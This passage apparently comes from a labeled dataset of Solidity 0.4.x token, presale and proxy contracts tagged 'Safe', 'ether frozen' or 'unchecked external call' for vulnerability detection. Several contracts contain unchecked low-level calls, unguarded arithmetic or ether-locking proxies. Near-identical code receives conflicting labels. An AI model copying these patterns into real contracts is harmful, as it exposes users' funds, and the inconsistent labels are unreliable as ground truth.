case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract DutchExchangeProxy is Proxy { function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { } }",./Dataset/ether frozen (EF),2,2 0x00000007b0390fc9ca72f534366f5c02d5af5334_FTN.sol,"pragma solidity 0.4.25; // ---------------------------------------------------------------------------- // FOTON token main contract // // Symbol : FTN // Name : FOTON // Total supply : 3.000.000.000,000000000000000000 (burnable) // Decimals : 18 // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Funds(address indexed from, uint coins); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); mapping(address => bool) public isBenefeciary; constructor() public { owner = msg.sender; isBenefeciary[0x00000007A394B99baFfd858Ce77a56CA11e93757] = true; isBenefeciary[0xA0aE338E9FC22DE613CEC2d79477877f02751ceb] = true; isBenefeciary[0x721Ea19D5E96eEB25c6e847F3209f3ca82B41CC9] = true; } modifier onlyBenefeciary { require(isBenefeciary[msg.sender]); _; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract FTN is ERC20Interface, Owned { using SafeMath for uint; bool public running = true; string public symbol; string public name; uint8 public decimals; uint _totalSupply; uint public contractBalance; address ben3 = 0x2f22dC7eA406B14EC368C2d4875946ADFd02450e; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; uint public reqTime; uint public reqAmount; address public reqAddress; address public reqTo; constructor() public { symbol = ""FTN""; name = ""FOTON""; decimals = 18; _totalSupply = 3000000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } modifier isRunnning { require(running); _; } function () payable public { emit Funds(msg.sender, msg.value); ben3.transfer(msg.value.mul(3).div(100)); contractBalance = address(this).balance; } function startStop () public onlyOwner returns (bool success) { if (running) { running = false; } else { running = true; } return true; } function totalSupply() public constant returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public isRunnning returns (bool success) { require(tokens <= balances[msg.sender]); require(tokens != 0); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public isRunnning returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public isRunnning returns (bool success) { require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); require(tokens != 0); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public isRunnning returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function burnTokens(uint256 tokens) public returns (bool success) { require(tokens <= balances[msg.sender]); require(tokens != 0); balances[msg.sender] = balances[msg.sender].sub(tokens); _totalSupply = _totalSupply.sub(tokens); emit Transfer(msg.sender, address(0), tokens); return true; } function multisend(address[] to, uint256[] values) public onlyOwner returns (uint256) { for (uint256 i = 0; i < to.length; i++) { balances[owner] = balances[owner].sub(values[i]); balances[to[i]] = balances[to[i]].add(values[i]); emit Transfer(owner, to[i], values[i]); } return(i); } function multiSigWithdrawal(address to, uint amount) public onlyBenefeciary returns (bool success) { if (reqTime == 0 && reqAmount == 0) { reqTime = now.add(3600); reqAmount = amount; reqAddress = msg.sender; reqTo = to; } else { if (msg.sender != reqAddress && to == reqTo && amount == reqAmount && now < reqTime) { to.transfer(amount); } reqTime = 0; reqAmount = 0; reqAddress = address(0); reqTo = address(0); } return true; } }",Safe,8,8 7129.sol,"pragma solidity ^0.4.21; contract Proxied { address public masterCopy; } contract Proxy is Proxied { function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract DutchExchangeProxy is Proxy { function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { } }",./Dataset/ether frozen (EF),2,2 33513.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.18; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply = 100000000; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from Bittle, for a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract Bittle is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is Bittle { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: Bittle Solutions uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: BTT string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary version. function HumanStandardToken( uint256 _initialAmount , string _tokenName , uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x04ac42Ce41F0f9831347BDf74fAb03C828173E18_ERC20Token.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 16000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 16000000000000000000000000; // Update total supply (100000 for example) name = ""PrivacyStake""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""PIVS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 239.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract WellnessToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************WellnessToken************************** */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public WellnessToken ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function WellnessToken() { balances[msg.sender] = 7600000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 7600000000000000000000000000; // Update total supply (1000 for example) (WellnessToken ) name = ""WellnessToken""; // Set the name for display purposes WellnessToken decimals = 18; // Amount of decimals for display purposes (WellnessToken) symbol = ""WELL""; // Set the symbol for display purposes WellnessToken // Set the price of your token for the ICO WellnessToken fundsWallet = msg.sender; // The owner of the contract gets ETH WellnessToken } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x0234ae8F8e5A5aeccfF9f633aa8d81AA17677eD0_PreSale.sol,"pragma solidity 0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PreSaleToken { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AllowExchanger(address indexed exchanger); event RevokeExchanger(address indexed exchanger); event Mint(address indexed to, uint256 amount); event MintFinished(); event Exchange(address indexed from, uint256 exchangedValue, string symbol, uint256 grantedValue); event Transfer(address indexed from, address indexed to, uint256 value); /// The owner of the contract. address public owner; /// The total number of minted tokens, excluding destroyed tokens. uint256 public totalSupply; /// The token balance of each address. mapping(address => uint256) balances; /// The full list of addresses we have minted tokens for, stored for /// exchange purposes. address[] public holders; /// Whether the token is still mintable. bool public mintingFinished = false; /// Addresses allowed to exchange the presale tokens for the final /// and/or intermediary tokens. mapping(address => bool) public exchangers; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyExchanger() { require(exchangers[msg.sender]); _; } function PreSaleToken() public { owner = msg.sender; } function allowExchanger(address _exchanger) onlyOwner public { require(mintingFinished); require(_exchanger != 0x0); require(!exchangers[_exchanger]); exchangers[_exchanger] = true; AllowExchanger(_exchanger); } function exchange( address _from, uint256 _amount, string _symbol, uint256 _grantedValue ) onlyExchanger public returns (bool) { require(mintingFinished); // Always true due to exchangers requiring the same condition require(_from != 0x0); require(!exchangers[_from]); require(_amount > 0); require(_amount <= balances[_from]); balances[_from] = balances[_from].sub(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); Exchange( _from, _amount, _symbol, _grantedValue ); Transfer(_from, msg.sender, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { require(!mintingFinished); mintingFinished = true; MintFinished(); return true; } function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != 0x0); require(!mintingFinished); require(_amount > 0); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); holders.push(_to); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function revokeExchanger(address _exchanger) onlyOwner public { require(mintingFinished); require(_exchanger != 0x0); require(exchangers[_exchanger]); delete exchangers[_exchanger]; RevokeExchanger(_exchanger); } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } } contract PreSale { using SafeMath for uint256; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event WalletChanged(address indexed previousWallet, address indexed newWallet); event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Pause(); event Unpause(); event Withdrawal(address indexed wallet, uint256 weiAmount); event Extended(uint256 until); event Finalized(); event Refunding(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Whitelisted(address indexed participant, uint256 weiAmount); /// The owner of the contract. address public owner; /// The token we're selling. PreSaleToken public token; /// The minimum goal to reach. If the goal is not reached, finishing /// the sale will enable refunds. uint256 public goal; /// The sale period. uint256 public startTime; uint256 public endTime; uint256 public timeExtension; /// The numnber of tokens to mint per wei. uint256 public rate; /// The total number of wei raised. Note that the contract's balance may /// differ from this value if someone has decided to forcefully send us /// ether. uint256 public weiRaised; /// The wallet that will receive the contract's balance once the sale /// finishes and the minimum goal is met. address public wallet; /// The list of addresses that are allowed to participate in the sale, /// and up to what amount. mapping(address => uint256) public whitelisted; /// The amount of wei invested by each investor. mapping(address => uint256) public deposited; /// An enumerable list of investors. address[] public investors; /// Whether the sale is paused. bool public paused = false; /// Whether the sale has finished, and when. bool public finished = false; uint256 public finishedAt; /// Whether we're accepting refunds. bool public refunding = false; /// The total number of wei refunded. uint256 public weiRefunded; modifier onlyOwner() { require(msg.sender == owner); _; } modifier saleOpen() { require(!finished); require(!paused); require(now >= startTime); require(now <= endTime + timeExtension); _; } function PreSale( uint256 _goal, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet ) public payable { require(msg.value > 0); require(_goal > 0); require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); owner = msg.sender; goal = _goal; startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; token = new PreSaleToken(); wallet.transfer(msg.value); } function () public payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) saleOpen public payable { require(_beneficiary != address(0)); require(msg.value > 0); uint256 weiAmount = msg.value; uint256 newDeposited = deposited[_beneficiary].add(weiAmount); require(newDeposited <= whitelisted[_beneficiary]); uint256 tokens = weiAmount.mul(rate); deposited[_beneficiary] = newDeposited; investors.push(_beneficiary); weiRaised = weiRaised.add(weiAmount); token.mint(_beneficiary, tokens); TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); } function changeWallet(address _wallet) onlyOwner public payable { require(_wallet != 0x0); require(msg.value > 0); WalletChanged(wallet, _wallet); wallet = _wallet; wallet.transfer(msg.value); } function extendTime(uint256 _timeExtension) onlyOwner public { require(!finished); require(now < endTime + timeExtension); require(_timeExtension > 0); timeExtension = timeExtension.add(_timeExtension); require(timeExtension <= 7 days); Extended(endTime.add(timeExtension)); } function finish() onlyOwner public { require(!finished); require(now > endTime + timeExtension); finished = true; finishedAt = now; token.finishMinting(); if (goalReached()) { token.transferOwnership(owner); withdraw(); } else { refunding = true; Refunding(); } Finalized(); } function pause() onlyOwner public { require(!paused); paused = true; Pause(); } function refund(address _investor) public { require(finished); require(refunding); require(deposited[_investor] > 0); uint256 weiAmount = deposited[_investor]; deposited[_investor] = 0; weiRefunded = weiRefunded.add(weiAmount); Refunded(_investor, weiAmount); _investor.transfer(weiAmount); } function transferOwnership(address _to) onlyOwner public { require(_to != address(0)); OwnershipTransferred(owner, _to); owner = _to; } function unpause() onlyOwner public { require(paused); paused = false; Unpause(); } function whitelist(address _participant, uint256 _weiAmount) onlyOwner public { require(_participant != 0x0); whitelisted[_participant] = _weiAmount; Whitelisted(_participant, _weiAmount); } function withdraw() onlyOwner public { require(goalReached() || (finished && now > finishedAt + 14 days)); uint256 weiAmount = this.balance; if (weiAmount > 0) { wallet.transfer(weiAmount); Withdrawal(wallet, weiAmount); } } function goalReached() public constant returns (bool) { return weiRaised >= goal; } }",Safe,8,8 1502.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public 